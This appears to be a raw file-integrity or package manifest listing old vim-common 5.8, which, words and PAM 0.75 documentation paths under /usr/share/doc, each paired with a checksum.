/usr/share/doc/vim-common-5.8/syntax/gdb.vim +2c6d7d98efd4d2d8c668d9b56afaa9bb /usr/share/doc/vim-common-5.8/syntax/gdmo.vim +f7933fea6405f507794d8ee7d9d2ab0a /usr/share/doc/vim-common-5.8/syntax/gedcom.vim +e2d05a1ca3f4ffe381a70992dd14234a /usr/share/doc/vim-common-5.8/syntax/gnuplot.vim +70e632c3c92f0f19129be65f1916b6cd /usr/share/doc/vim-common-5.8/syntax/gp.vim +79baeb45f72402272d40b83e6ea9bdcb /usr/share/doc/vim-common-5.8/syntax/gsp.vim +93b54ca6d9777bb1578d7dedcef9a0e6 /usr/share/doc/vim-common-5.8/syntax/gtkrc.vim +1a7b395f49e527d08eecd1b9775c0480 /usr/share/doc/vim-common-5.8/syntax/haskell.vim +1415e2bd6e4c7fc657a5f13cef0d751a /usr/share/doc/vim-common-5.8/syntax/hb.vim +2136bc645d689036fba49f4913800212 /usr/share/doc/vim-common-5.8/syntax/help.vim +004e7b32ffe71c1bd5980005a3b8b85b /usr/share/doc/vim-common-5.8/syntax/hercules.vim +916a64b675ef5d1a9b66ba20957a4e11 /usr/share/doc/vim-common-5.8/syntax/hitest.vim +809c8e662437ebd0973971b134c6fadc /usr/share/doc/vim-common-5.8/syntax/hog.vim +fa1f1d6961ff8afff6f2fb739bba57ab /usr/share/doc/vim-common-5.8/syntax/html.vim +50b9cdfbb3923c2c22bd645ad45c9467 /usr/share/doc/vim-common-5.8/syntax/htmlm4.vim +1944da40513d244c760bc8695a61bee4 /usr/share/doc/vim-common-5.8/syntax/htmlos.vim +8e93d8db16c79708954e3ca6076f730c /usr/share/doc/vim-common-5.8/syntax/ia64.vim +67e89aa8abb987d8853186ea37d6bd83 /usr/share/doc/vim-common-5.8/syntax/icon.vim +ef4610eea0b2e7617e76295658eea7f8 /usr/share/doc/vim-common-5.8/syntax/idl.vim +4f7e33b37cf611daf4c32144d1c50df8 /usr/share/doc/vim-common-5.8/syntax/idlang.vim +88fe34fe64c01418291c04a9dbf31ed2 /usr/share/doc/vim-common-5.8/syntax/inform.vim +3a01b59d72220388fcccd9a4e0aeee14 /usr/share/doc/vim-common-5.8/syntax/inittab.vim +74cf4b00f128968a36d1a9694a151717 /usr/share/doc/vim-common-5.8/syntax/ishd.vim +594a3e60aa07ffd2251ecef09f927e5d /usr/share/doc/vim-common-5.8/syntax/iss.vim +328dba95e3455f873cc6996c64bf85de /usr/share/doc/vim-common-5.8/syntax/ist.vim +66ef3ca5ab74be5c0c3787bb94543f17 /usr/share/doc/vim-common-5.8/syntax/jam.vim +5f563d69692532b4796d037b43bef2d4 /usr/share/doc/vim-common-5.8/syntax/java.vim +6d4d918f9aff07a8563072a7bb99ebbd /usr/share/doc/vim-common-5.8/syntax/javacc.vim +aba44ffb6b7bcd4ba696e9753a865cc6 /usr/share/doc/vim-common-5.8/syntax/javascript.vim +635e6697231ba79441cd94d58265941a /usr/share/doc/vim-common-5.8/syntax/jess.vim +c37dd501b28eaabe72106bce565f156e /usr/share/doc/vim-common-5.8/syntax/jgraph.vim +c5c69d1bbdeb1211fb7babc95b51f658 /usr/share/doc/vim-common-5.8/syntax/jproperties.vim +b2e64129961bf3bd8330a031f86fbf4d /usr/share/doc/vim-common-5.8/syntax/jsp.vim +34c1892db07c7d344a33800e9ef3d28b /usr/share/doc/vim-common-5.8/syntax/kix.vim +9a6cd8c600d5f25f96ed3128b7bf4b06 /usr/share/doc/vim-common-5.8/syntax/kscript.vim +f31122ebae839b94184d5e4c8b5eea08 /usr/share/doc/vim-common-5.8/syntax/kwt.vim +eb12bf79f2889be4dbc67b991c549a54 /usr/share/doc/vim-common-5.8/syntax/lace.vim +0c4424d49f7c78b4bd7540db5db29e6f /usr/share/doc/vim-common-5.8/syntax/latte.vim +379a74f3e294d45de884cd2395860e74 /usr/share/doc/vim-common-5.8/syntax/lex.vim +20773f10a4c34b34893fb830b8892284 /usr/share/doc/vim-common-5.8/syntax/lhaskell.vim +36fabf555a14b36b088a983a8aecfe43 /usr/share/doc/vim-common-5.8/syntax/lilo.vim +193b5cceb09276fc0ceb47aaf9b18c9f /usr/share/doc/vim-common-5.8/syntax/lilo.vim.lilo +b07598676b874e9adaa8d24ba54d9c9d /usr/share/doc/vim-common-5.8/syntax/lisp.vim +78d7d2a1310a259bfeb24b3659eb5c36 /usr/share/doc/vim-common-5.8/syntax/lite.vim +c9f697f6c57b337d70510ae8d7b66920 /usr/share/doc/vim-common-5.8/syntax/lotos.vim +30594fb30da66272ca6aa12fdce4654f /usr/share/doc/vim-common-5.8/syntax/lout.vim +685b07cbccdfc577f14ff96a8f547e12 /usr/share/doc/vim-common-5.8/syntax/lprolog.vim +329a2a7d4acf9ef5a78d7731a2b53c1e /usr/share/doc/vim-common-5.8/syntax/lss.vim +425aeef21f604359f71d4d4e0163e4de /usr/share/doc/vim-common-5.8/syntax/lua.vim +d5b800a8918ede14cd20a633820eeb3b /usr/share/doc/vim-common-5.8/syntax/m4.vim +01222d7ea7a0743ce3b52878f5c84142 /usr/share/doc/vim-common-5.8/syntax/mail.vim +14afc1a20aa8e4b04df35f4c4e38ca08 /usr/share/doc/vim-common-5.8/syntax/make.vim +dbabb4212bc318a8660950f3977fe0fd /usr/share/doc/vim-common-5.8/syntax/man.vim +03941aee4854e31f7ea5d8040451f49f /usr/share/doc/vim-common-5.8/syntax/manual.vim +127d84c28d0e27ba66a1171b9ec68c8f /usr/share/doc/vim-common-5.8/syntax/maple.vim +5322f008613a927a98b48b4c73c9fcaa /usr/share/doc/vim-common-5.8/syntax/masm.vim +f7f8ffd18812d558c2e64e878914332e /usr/share/doc/vim-common-5.8/syntax/mason.vim +e2cf470668e1b9691658cb708df4471a /usr/share/doc/vim-common-5.8/syntax/master.vim +172ba2a6ea5ccb95f7bbec49bfff83a7 /usr/share/doc/vim-common-5.8/syntax/matlab.vim +02eb8f9c1e7090871c6c4ce5db285a31 /usr/share/doc/vim-common-5.8/syntax/mel.vim +4df18bc84065a2ea6a2a0ba99da0c1dc /usr/share/doc/vim-common-5.8/syntax/mf.vim +67f8b2ab280ffa8ab102d5829296ae0f /usr/share/doc/vim-common-5.8/syntax/mgp.vim +f7271baef950fee1085a14719bd6764f /usr/share/doc/vim-common-5.8/syntax/mib.vim +23ad71153c26ec54b8d4428f6e472ebe /usr/share/doc/vim-common-5.8/syntax/mma.vim +8b39f6d526548b2f95ea13884c261c73 /usr/share/doc/vim-common-5.8/syntax/model.vim +4b7f75d6422fdbc22a385e901d70f3b2 /usr/share/doc/vim-common-5.8/syntax/modsim3.vim +2155d9c980e8b680d71648ff36550d1f /usr/share/doc/vim-common-5.8/syntax/modula2.vim +9885cdccf3f6c56b429c7bb85a8c2f90 /usr/share/doc/vim-common-5.8/syntax/modula3.vim +6556fc94535022a82293ccad8e33d958 /usr/share/doc/vim-common-5.8/syntax/mp.vim +b59808c0ffe85ceede71926e261e13a4 /usr/share/doc/vim-common-5.8/syntax/msql.vim +1b6c9fe416bcc8afdadb2c76500861c7 /usr/share/doc/vim-common-5.8/syntax/muttrc.vim +24c22b04cb4e74023d2c39e101145ebe /usr/share/doc/vim-common-5.8/syntax/named.vim +c1600f89a2f0c1baefa60ac810d14a09 /usr/share/doc/vim-common-5.8/syntax/nasm.vim +c84550b6a56bba07fd6d4e20b81c141e /usr/share/doc/vim-common-5.8/syntax/nastran.vim +6a89f8eaf7419ac3015695d65ce317ee /usr/share/doc/vim-common-5.8/syntax/ncf.vim +1b9f6dad4b23beecda67197f8b464a33 /usr/share/doc/vim-common-5.8/syntax/nosyntax.vim +d9e40c1ade320524f6aefc8cd08ebc67 /usr/share/doc/vim-common-5.8/syntax/nqc.vim +184f6f230da532cc9418b09c75b8965c /usr/share/doc/vim-common-5.8/syntax/nroff.vim +ec51eb3d1b90c57d3252982c1670b524 /usr/share/doc/vim-common-5.8/syntax/objc.vim +457fe0fb62fdd8e91160af9e7fb84cee /usr/share/doc/vim-common-5.8/syntax/ocaml.vim +a8cbe7d43b3c6202db004861bc70e7bb /usr/share/doc/vim-common-5.8/syntax/omnimark.vim +06158128f7c9e725c55ad4a33f0455c1 /usr/share/doc/vim-common-5.8/syntax/openroad.vim +804755eb11bb2422c0c86360219d35c7 /usr/share/doc/vim-common-5.8/syntax/opl.vim +d3d06b8220f739577683c91aee849dd4 /usr/share/doc/vim-common-5.8/syntax/ora.vim +0fbbe90cade08a3f6ea4aeefbb74daeb /usr/share/doc/vim-common-5.8/syntax/papp.vim +914d0e0f623dab036bf808872408fca5 /usr/share/doc/vim-common-5.8/syntax/pascal.vim +20e8a236c48e75f1a275fa5d355ce174 /usr/share/doc/vim-common-5.8/syntax/pcap.vim +17ff391c4da6c5d88168c60b4ac72015 /usr/share/doc/vim-common-5.8/syntax/pccts.vim +3fd81f24f79b6bb4d37037fe8e0d2051 /usr/share/doc/vim-common-5.8/syntax/perl.vim +6252bd377b736bf42b06aa7b6b2c52bb /usr/share/doc/vim-common-5.8/syntax/pfmain.vim +604d67ade10745422713d5284c3097be /usr/share/doc/vim-common-5.8/syntax/php.vim +052e90c704d83e2e0051ca1fed43b62a /usr/share/doc/vim-common-5.8/syntax/phtml.vim +e566c72d7a8e205d17aae78cfa3a9faa /usr/share/doc/vim-common-5.8/syntax/pic.vim +2105a4de3b971eca2de440af9adbb3c9 /usr/share/doc/vim-common-5.8/syntax/pike.vim +14721472e96c2e39c896ecf329c24015 /usr/share/doc/vim-common-5.8/syntax/pine.vim +88202796bc950182694b70619958d46e /usr/share/doc/vim-common-5.8/syntax/plsql.vim +905dc0a304b8145dde327ea5247a84f8 /usr/share/doc/vim-common-5.8/syntax/po.vim +07fc21cde21c23793ad8674af3612935 /usr/share/doc/vim-common-5.8/syntax/pod.vim +5407f998144538a08ad041137c823ae8 /usr/share/doc/vim-common-5.8/syntax/postscr.vim +2ea9c6183c16d34cbee5600388d79d00 /usr/share/doc/vim-common-5.8/syntax/pov.vim +0803f2e24decf402c27746b7346f6369 /usr/share/doc/vim-common-5.8/syntax/ppwiz.vim +4c3d1977d9c28ebfdc4ddaf12bb495d8 /usr/share/doc/vim-common-5.8/syntax/procmail.vim +f128a2bc52a1471785eebc287650c6ba /usr/share/doc/vim-common-5.8/syntax/progress.vim +47046618105534b16eec074a077f4c7e /usr/share/doc/vim-common-5.8/syntax/prolog.vim +0214b0d3ee5e0bdb3a9c9a963c2c67b4 /usr/share/doc/vim-common-5.8/syntax/psf.vim +7ab1dd25d6e7087a94bc63c2514bd970 /usr/share/doc/vim-common-5.8/syntax/ptcap.vim +6853ee28de270ce34766829363b9eced /usr/share/doc/vim-common-5.8/syntax/purifylog.vim +d17330234ab6d1bc85525fa376a2d737 /usr/share/doc/vim-common-5.8/syntax/python.vim +0b342be3928f96324dd500a718de74af /usr/share/doc/vim-common-5.8/syntax/r.vim +1250e9382aff814235fd76c4d707e944 /usr/share/doc/vim-common-5.8/syntax/radiance.vim +f2aa5129ba5043432a74764c7e29bd00 /usr/share/doc/vim-common-5.8/syntax/rc.vim +293eefadb6c84dda708e2b95593b7b96 /usr/share/doc/vim-common-5.8/syntax/rcslog.vim +265a988f350ca3fd46c8b3d49b71ba8d /usr/share/doc/vim-common-5.8/syntax/rebol.vim +4663b51442102c0ab654181d0437ff4b /usr/share/doc/vim-common-5.8/syntax/registry.vim +cef2b37b6e0c0ec1d172fb173b00d593 /usr/share/doc/vim-common-5.8/syntax/remind.vim +bc32b9702bde17854fa2588cf2a75ee8 /usr/share/doc/vim-common-5.8/syntax/rexx.vim +77b9f652605d3de6b09173fc0fe5dd45 /usr/share/doc/vim-common-5.8/syntax/robots.vim +1222a9545685a683114fa6c3ac49e0b6 /usr/share/doc/vim-common-5.8/syntax/rpcgen.vim +e0b626843812a37d5169cfaa00bfc170 /usr/share/doc/vim-common-5.8/syntax/rtf.vim +df72de432e337b677147680b3ab999b4 /usr/share/doc/vim-common-5.8/syntax/ruby.vim +7682367ce5e8baa1eb052ab2d5a0d9ed /usr/share/doc/vim-common-5.8/syntax/samba.vim +0ad75af4abe0f3a0a0574931c8bde3b5 /usr/share/doc/vim-common-5.8/syntax/sas.vim +4e5b4c5604a8303c4bded68d57ec72b1 /usr/share/doc/vim-common-5.8/syntax/sather.vim +d12c45840ad91528de8cf5dfcd7f51ae /usr/share/doc/vim-common-5.8/syntax/scheme.vim +8aad0ca70c97200a77732ed90c6c5281 /usr/share/doc/vim-common-5.8/syntax/sdl.vim +71a0ab78f6423fc20e677cf6f07a4695 /usr/share/doc/vim-common-5.8/syntax/sed.vim +656588a3b1f956253c49e28dbd90aa0d /usr/share/doc/vim-common-5.8/syntax/setl.vim +764d1773ab5a150fdedec75f3210de13 /usr/share/doc/vim-common-5.8/syntax/sgml.vim +a7d9083dd546ea136b96f1004e266e2c /usr/share/doc/vim-common-5.8/syntax/sgmldecl.vim +5030e3918d2f008c11e92df47b8695de /usr/share/doc/vim-common-5.8/syntax/sgmllnx.vim +8189566583bdc0303ad010eb8522bc24 /usr/share/doc/vim-common-5.8/syntax/sh.vim +c8ddbd9ac759f23348ebd3e8c1790e06 /usr/share/doc/vim-common-5.8/syntax/sicad.vim +9e00a9db85d4ca9a7ed9acb248a79efb /usr/share/doc/vim-common-5.8/syntax/simula.vim +2a99e415799423f158bd0c2242384ae7 /usr/share/doc/vim-common-5.8/syntax/sinda.vim +778ff1641ca8984ae584729045d93f00 /usr/share/doc/vim-common-5.8/syntax/sindacmp.vim +57399d9cae279eee81a7fccebe7ea631 /usr/share/doc/vim-common-5.8/syntax/sindaout.vim +5c6e378218d0e36166e79d770b067c3f /usr/share/doc/vim-common-5.8/syntax/skill.vim +833e3f39a4b97f08d1ef642a6aa689c7 /usr/share/doc/vim-common-5.8/syntax/sl.vim +8350fc30e85c24d39c6c33e4889e41dd /usr/share/doc/vim-common-5.8/syntax/slang.vim +72c3e77454c4ca05319f0d984c1c8b85 /usr/share/doc/vim-common-5.8/syntax/slrnrc.vim +8f39b94bee8b70abf33e54e8d4a6e3e3 /usr/share/doc/vim-common-5.8/syntax/slrnsc.vim +9b9a6faed318b9f8c5fc639f47adac15 /usr/share/doc/vim-common-5.8/syntax/sm.vim +322598397e73cb3e8eaab98e40865113 /usr/share/doc/vim-common-5.8/syntax/smil.vim +883b3cc46ae9c3fe841b2602d478ad9d /usr/share/doc/vim-common-5.8/syntax/smith.vim +835e1dc5731cfb1e8ffc304ab493e51e /usr/share/doc/vim-common-5.8/syntax/sml.vim +3f3a9a2b237949d249421c1eb00d1570 /usr/share/doc/vim-common-5.8/syntax/snnsnet.vim +d55257950170189349135e29ec68c1e1 /usr/share/doc/vim-common-5.8/syntax/snnspat.vim +5a980a36850bad480de07f027a44cc3e /usr/share/doc/vim-common-5.8/syntax/snnsres.vim +b58b18e7ef6bead55a59080aac0a84be /usr/share/doc/vim-common-5.8/syntax/snobol4.vim +f47298ca058c9222f95a084481fd61f6 /usr/share/doc/vim-common-5.8/syntax/spec.vim +e9f553800254e6468f8a1c780470f34f /usr/share/doc/vim-common-5.8/syntax/spice.vim +8b43a190025f5e1dd0cc77d5f827730c /usr/share/doc/vim-common-5.8/syntax/spup.vim +31e232fba907ae11a1ac7104474aca9e /usr/share/doc/vim-common-5.8/syntax/sql.vim +7d833512c6f0e7124acb04df3da60e99 /usr/share/doc/vim-common-5.8/syntax/sqr.vim +f3fa4f28add17f59330bcd4c5f382192 /usr/share/doc/vim-common-5.8/syntax/squid.vim +63e4806added1dec286a361bf044006e /usr/share/doc/vim-common-5.8/syntax/st.vim +53bd5e7fe1180234d52ba7e602535a96 /usr/share/doc/vim-common-5.8/syntax/stp.vim +d787d024f6e7ed8a5960370fe514fc94 /usr/share/doc/vim-common-5.8/syntax/strace.vim +23d6abb2dce7d667bdb4f5ed18ed6494 /usr/share/doc/vim-common-5.8/syntax/synload.vim +1f6cb61bb91fbe8d471e7fe4a97c843a /usr/share/doc/vim-common-5.8/syntax/syntax.vim +d09af3daf9a4a31b3484b39e3b9d3e36 /usr/share/doc/vim-common-5.8/syntax/tads.vim +14ec912200bf6575372c603d6654cd89 /usr/share/doc/vim-common-5.8/syntax/tags.vim +7c40e7f548112c038e8eacb5afb96bdb /usr/share/doc/vim-common-5.8/syntax/tak.vim +be8e76b6a715fbd1aead3cc209853901 /usr/share/doc/vim-common-5.8/syntax/takcmp.vim +97d2f1b8d977298132c433473e2a7d56 /usr/share/doc/vim-common-5.8/syntax/takout.vim +c1b85bb3cf68acfd1bddf910718d6ed9 /usr/share/doc/vim-common-5.8/syntax/tasm.vim +a05c8e89f07a45ac38f1c23eab61b222 /usr/share/doc/vim-common-5.8/syntax/tcl.vim +3b0811546fc7b41375f8550c42126da3 /usr/share/doc/vim-common-5.8/syntax/tex.vim +2eb1349e8f753be5793c06df104c09d3 /usr/share/doc/vim-common-5.8/syntax/texinfo.vim +e2cea30fa3ffebcd2d368cfd213d0eeb /usr/share/doc/vim-common-5.8/syntax/texmf.vim +b9cc79a85919b55be881263344578cfb /usr/share/doc/vim-common-5.8/syntax/tf.vim +e90590b9a82d5e8275191e33aa08804c /usr/share/doc/vim-common-5.8/syntax/tli.vim +e91f83dc7fc8dc2282514ed86abef2f6 /usr/share/doc/vim-common-5.8/syntax/trasys.vim +64ba4410ea64531106485a42a64af855 /usr/share/doc/vim-common-5.8/syntax/tsalt.vim +c0eeb272ecb507097920ac7fd89299ba /usr/share/doc/vim-common-5.8/syntax/tsscl.vim +0be2b5693f4ca8b0d9556c5f4bc55fc7 /usr/share/doc/vim-common-5.8/syntax/tssgm.vim +a51df74fe533a26b097628a814487ba8 /usr/share/doc/vim-common-5.8/syntax/tssop.vim +2e08f3c7a23cd9499481dfa5e7e371d9 /usr/share/doc/vim-common-5.8/syntax/uc.vim +3c850dbd2fd3ac41f52afb48ce9f3869 /usr/share/doc/vim-common-5.8/syntax/uil.vim +187f6aef6b671976cdc6ab09ae09c767 /usr/share/doc/vim-common-5.8/syntax/vb.vim +6c4f4cbd5a8f9a2da7209f13c4c6983e /usr/share/doc/vim-common-5.8/syntax/verilog.vim +ae796e3acd4280cea74934d2e293c0a8 /usr/share/doc/vim-common-5.8/syntax/vgrindefs.vim +88c0386eb6ecdebb52fa11f2c9a9be4a /usr/share/doc/vim-common-5.8/syntax/vhdl.vim +fa48202143392a9602dd84397bfa4f27 /usr/share/doc/vim-common-5.8/syntax/vim.vim +9dea993a75c45a008a6727e7869b50b2 /usr/share/doc/vim-common-5.8/syntax/viminfo.vim +6864347b8dce6f0b6d480a7919936650 /usr/share/doc/vim-common-5.8/syntax/virata.vim +a819f45b541e00a938e4456c4ee080cd /usr/share/doc/vim-common-5.8/syntax/vrml.vim +ccd4ef22dce21be5496762582faf2ce9 /usr/share/doc/vim-common-5.8/syntax/vsejcl.vim +8b60ea104afa78dc1a90962e69fe7bf8 /usr/share/doc/vim-common-5.8/syntax/wdiff.vim +9edc5328604f9bb5c61d51a4e44bc737 /usr/share/doc/vim-common-5.8/syntax/web.vim +9897c1c825b426ee42c1432540be484d /usr/share/doc/vim-common-5.8/syntax/webmacro.vim +d4fb228f0e7b287e5ca1f0db3a4b6c5c /usr/share/doc/vim-common-5.8/syntax/whitespace.vim +f1e821294f2e8f595775fb42903cf4a2 /usr/share/doc/vim-common-5.8/syntax/winbatch.vim +69f756b4a5a51fe109df369df8013084 /usr/share/doc/vim-common-5.8/syntax/wml.vim +2d410b366340e2aeb391081b140875c1 /usr/share/doc/vim-common-5.8/syntax/wsh.vim +956d6c32ac7d4e2470532e606aa28b41 /usr/share/doc/vim-common-5.8/syntax/xdefaults.vim +1525ad9199ff3dee2be4cff451f03825 /usr/share/doc/vim-common-5.8/syntax/xkb.vim +9ebc37380a4f456955d6a7478fea52e8 /usr/share/doc/vim-common-5.8/syntax/xmath.vim +e96878ed6675b90928a81ee22f4044df /usr/share/doc/vim-common-5.8/syntax/xml.vim +ac6f401d794f86162829e08e33d10248 /usr/share/doc/vim-common-5.8/syntax/xpm.vim +a0aa8859f58ae6aebb61ea65653d187b /usr/share/doc/vim-common-5.8/syntax/xpm2.vim +f793575c7a7875d01d0d4162f39b8f87 /usr/share/doc/vim-common-5.8/syntax/xs.vim +2dbefcc50148cf184713e632b585a5c9 /usr/share/doc/vim-common-5.8/syntax/xxd.vim +d01bdc2b4b902344421473581426b478 /usr/share/doc/vim-common-5.8/syntax/yacc.vim +a99891d283971159fe348b3db1b1c376 /usr/share/doc/vim-common-5.8/syntax/z8a.vim +c493ce1f6c5d4c1a85e92e877049ab1a /usr/share/doc/vim-common-5.8/syntax/zsh.vim +ddabbae7a5f90a8cbf244ed1e05c27ba /usr/share/doc/vim-common-5.8/termcap +486677bd179795e311a4b9ce0bd2512f /usr/share/doc/vim-common-5.8/makemenu.vim +9f537fa3d468aecf62cba3eb68eadff6 /usr/share/doc/vim-common-5.8/menu.vim +f4bdf16a377997fdbe558e0e843b43e4 /usr/share/doc/vim-common-5.8/mswin.vim +ed530f36e9ecfaefe4cd3f3f94ba6279 /usr/share/doc/vim-common-5.8/optwin.vim +839ab2eaa8e1e9660ac720aa38d5b306 /usr/share/doc/vim-common-5.8/scripts.vim +1e0229650624144629e635a3e8952271 /usr/share/doc/vim-common-5.8/tutor/README.txt.info +654a17f2e16d6543da1b79bdb93e2b2e /usr/share/doc/vim-common-5.8/tutor/README.txt +6c513168ede4190cff6084f98c67688b /usr/share/doc/vim-common-5.8/tutor/tutor.info +bae0a1949a81a704f97485f0bccebffd /usr/share/doc/vim-common-5.8/tutor/tutor +e13a27bedd89259a97b831f921b1b4a7 /usr/share/doc/vim-common-5.8/vimrc_example.vim +6349a2e008d60a1efe81ab680e962a09 /usr/share/doc/which-2.12/EXAMPLES +df5da405a6fdaad558ad37f7138b39b5 /usr/share/doc/which-2.12/README +53d52aebddebf7884ffba09bf58fb784 /usr/share/doc/words-2/README.linux.words +abfeb11be24e59ad82853132dd847717 /usr/share/doc/words-2/README2.linux.words +2695e38b5bc950d0d8a2795a560fc86e /usr/share/doc/pam-0.75/html/pam_appl-1.html +4b2658461f48a13768eaa1c9f348c8d2 /usr/share/doc/pam-0.75/html/pam-1.html +0bd174d974d2bcd220b89190b87fe2bb /usr/share/doc/pam-0.75/html/pam-10.html +2ac90f19fc08aa38288ce34a2416a8ef /usr/share/doc/pam-0.75/html/pam-11.html +02118c0a8d37fdcdce97598b9b3699f4 /usr/share/doc/pam-0.75/html/pam-12.html +ebfdcf5a46076fa48f32be29f7e856d8 /usr/share/doc/pam-0.75/html/pam-2.html +4440f7e033f0068692c0fd80e2d54d31 /usr/share/doc/pam-0.75/html/pam-3.html +48be69471f3f1ad9fe27a8b35ee52f78 /usr/share/doc/pam-0.75/html/pam-4.html +983fc6aa94d81e152dd110b9fc680b77 /usr/share/doc/pam-0.75/html/pam-5.html +d5d492acea11d26a42c2846e98eb727b /usr/share/doc/pam-0.75/html/pam-6.html +dd729a16e89e10d66843565972d9d893 /usr/share/doc/pam-0.75/html/pam-7.html +38a689b9690e9fe3fd2781e4d375047c /usr/share/doc/pam-0.75/html/pam-8.html +fce650bf41d7ca81a50a3dd1918ef7e0 /usr/share/doc/pam-0.75/html/pam-9.html +c509182fdae61998e9cf3bd599a69cd1 /usr/share/doc/pam-0.75/html/pam.html +d769037fec786045ed670f29f1c40358 /usr/share/doc/pam-0.75/html/pam_appl-10.html +528cae3aec7e51497dd46052bb218b38 /usr/share/doc/pam-0.75/html/pam_appl-11.html +2e3db374a16d842766b5fd5a9bddef4a /usr/share/doc/pam-0.75/html/pam_appl-12.html +eb4c01e6750db02123a8f0d71a1e5bfb /usr/share/doc/pam-0.75/html/pam_appl-13.html +7e86f2a503647cffa6c75a860375153b /usr/share/doc/pam-0.75/html/pam_appl-14.html +18911c88938c36d31f22d36f09b6d316 /usr/share/doc/pam-0.75/html/pam_appl-2.html +5760d5b9ffc58c72bae243a010bfc734 /usr/share/doc/pam-0.75/html/pam_appl-3.html +5dde47ff4528ad71e3f311a6a71cf5d7 /usr/share/doc/pam-0.75/html/pam_appl-4.html +9349df128f79d1021d36ab295bb9b36b /usr/share/doc/pam-0.75/html/pam_appl-5.html +1c41d2d09b27bc07c10689fac9043c9e /usr/share/doc/pam-0.75/html/pam_appl-6.html +313674715e3c180f702e9c7f8dd8fb1b /usr/share/doc/pam-0.75/html/pam_appl-7.html +121d973c51d0df5277bf0bcb66390b41 /usr/share/doc/pam-0.75/html/pam_appl-8.html +5375c5e1db6f62ce8c427dfd759ef557 /usr/share/doc/pam-0.75/html/pam_appl-9.html +a6df9a510232da780c4d8a62228df5ab /usr/share/doc/pam-0.75/html/pam_appl.html +c7ee2c3e64dace57c849a9320400883c /usr/share/doc/pam-0.75/html/pam_modules-1.html +76840dc24cc713939306ec7ec282b1a3 /usr/share/doc/pam-0.75/html/pam_modules-10.html +332f0af766cf88944b1ae6f9c87dbf79 /usr/share/doc/pam-0.75/html/pam_modules-11.html +50b380e5ccbfd21adb9ac55513fc9126 /usr/share/doc/pam-0.75/html/pam_modules-12.html +5566121dfb7e3439a913485978251dee /usr/share/doc/pam-0.75/html/pam_modules-2.html +1c6842d7d1b0f6d9e494a7c9bb5f2535 /usr/share/doc/pam-0.75/html/pam_modules-3.html +81809c0cbfd1f6406bc77e4825933723 /usr/share/doc/pam-0.75/html/pam_modules-4.html +fa8209392e9a9baa33cde5cc2b6bd171 /usr/share/doc/pam-0.75/html/pam_modules-5.html +14161e5e0d0ba15911854681a14ea9a2 /usr/share/doc/pam-0.75/html/pam_modules-6.html +e4a20d0fd72b4023a8546975e98ae458 /usr/share/doc/pam-0.75/html/pam_modules-7.html +d112164566ca76f7b111e33e126fcbe5 /usr/share/doc/pam-0.75/html/pam_modules-8.html +2d0e021c879d2fa4a18dc1596cfaeeca /usr/share/doc/pam-0.75/html/pam_modules-9.html +2da62ac8e69f257d0f35ef41c0c4fc56 /usr/share/doc/pam-0.75/html/pam_modules.html +79954095385358677d04179222294182 /usr/share/doc/pam-0.75/ps/missfont.log +71d27ba52e1d9eb5b8c3f399d35e35fd /usr/share/doc/pam-0.75/ps/README +be88f0383981b8b9e67fb882f2dbacc6 /usr/share/doc/pam-0.75/ps/pam_appl.ps +2d9474ca456bd52b3fad34a514ceb2d1 /usr/share/doc/pam-0.75/ps/pam.ps +7c99ddddb81854b5d359946ba3dee5ce /usr/share/doc/pam-0.75/ps/pam_modules.ps +ca0395de9a86191a078b8b79302e3083 /usr/share/doc/pam-0.75/Copyright +935d0ed693c2e1d019f7ca61f4846ab6 /usr/share/doc/pam-0.75/txts/README.pam_deny +11070d8a17400c094ceca259731c4a65 /usr/share/doc/pam-0.75/txts/README +bbe70c0eda0571c97324b1b9ffd64d45 /usr/share/doc/pam-0.75/txts/README.pam_localuser +1cdbfdce51d80a2c64f5fdd98d324c89 /usr/share/doc/pam-0.75/txts/README.pam_access +493c60dfaaa925e81eb1a79169c61de3 /usr/share/doc/pam-0.75/txts/README.pam_chroot +127f42eeb2a4db88da9e12ebb7ab32a7 /usr/share/doc/pam-0.75/txts/README.pam_console +9a30f30a7c7a2b57b99bdc5cfc6898bb /usr/share/doc/pam-0.75/txts/README.pam_cracklib +7456a5a8cd6e4067c83293cb56653642 /usr/share/doc/pam-0.75/txts/README.pam_env +15da0d8e62c02b40d0170a1e6d693ef8 /usr/share/doc/pam-0.75/txts/README.pam_filter +2f94437839616923cb1e53a9ed82bd8f /usr/share/doc/pam-0.75/txts/README.pam_ftp +82b695f127b7ef7a8b26f1a7f55d08a9 /usr/share/doc/pam-0.75/txts/README.pam_limits +c3999990a16f72a57809747397449193 /usr/share/doc/pam-0.75/txts/README.pam_listfile +52e3a6d09b1ff909aeec28f4b296579a /usr/share/doc/pam-0.75/txts/README.pam_nologin +9abab33343483df25ed6bdfee5308468 /usr/share/doc/pam-0.75/txts/README.pam_mail +abeef724d25721cb3301be6c05f21d1d /usr/share/doc/pam-0.75/txts/README.pam_securetty +89fb7b55830cfbef254813a175fed379 /usr/share/doc/pam-0.75/txts/README.pam_permit +6a31988d48628d0bc7980d24a7a8b314 /usr/share/doc/pam-0.75/txts/README.pam_pwdb +3e1287dd4d603baf211e8255f1507c16 /usr/share/doc/pam-0.75/txts/README.pam_rhosts +e62200520643be3e190b6d19308912da /usr/share/doc/pam-0.75/txts/README.pam_rootok +04b6d8b6668aca34a8af612ded391716 /usr/share/doc/pam-0.75/txts/README.pam_shells +02889da5836f9d4333e23c9d031c90f9 /usr/share/doc/pam-0.75/txts/README.pam_stack +0339b77731f793c6375ecbaebecf3c39 /usr/share/doc/pam-0.75/txts/README.pam_stress +193d6045153f0c46532428b3c08fd05c /usr/share/doc/pam-0.75/txts/README.pam_tally +b35d05bd89b65b2f72fba718e88d9dc1 /usr/share/doc/pam-0.75/txts/README.pam_time +af9ef3a59af69b0b768381d25a147071 /usr/share/doc/pam-0.75/txts/README.pam_unix +1175b0345d3909c18611728134b23a7d /usr/share/doc/pam-0.75/txts/README.pam_userdb +b5cf91aaf4a30c220a1cd8cbbd6bf75e /usr/share/doc/pam-0.75/txts/README.pam_warn +65178960eabda45c711cd70f1aa170d4 /usr/share/doc/pam-0.75/txts/README.pam_wheel +9c803b3b69c6e5d96ccdc4e2b77b6146 /usr/share/doc/pam-0.75/txts/README.pam_xauth +5339925bf5fdc464b628ccd5c4694a0b /usr/share/doc/pam-0.75/txts/pam.txt +31e49dc8a3ffbf00d8f84acc84c60ec1 /usr/share/doc/pam-0.75/txts/pam_appl.txt +51cde833da57c551a8a9ae31bb151294 /usr/share/doc/pam-0.75/txts/pam_modules.txt +4569a6bb831ec94eb9d49111263aa439 /usr/share/doc/pam-0.75/rfc86.0.txt +3be4ff948e8551f152a27ecdf2b9ce7e 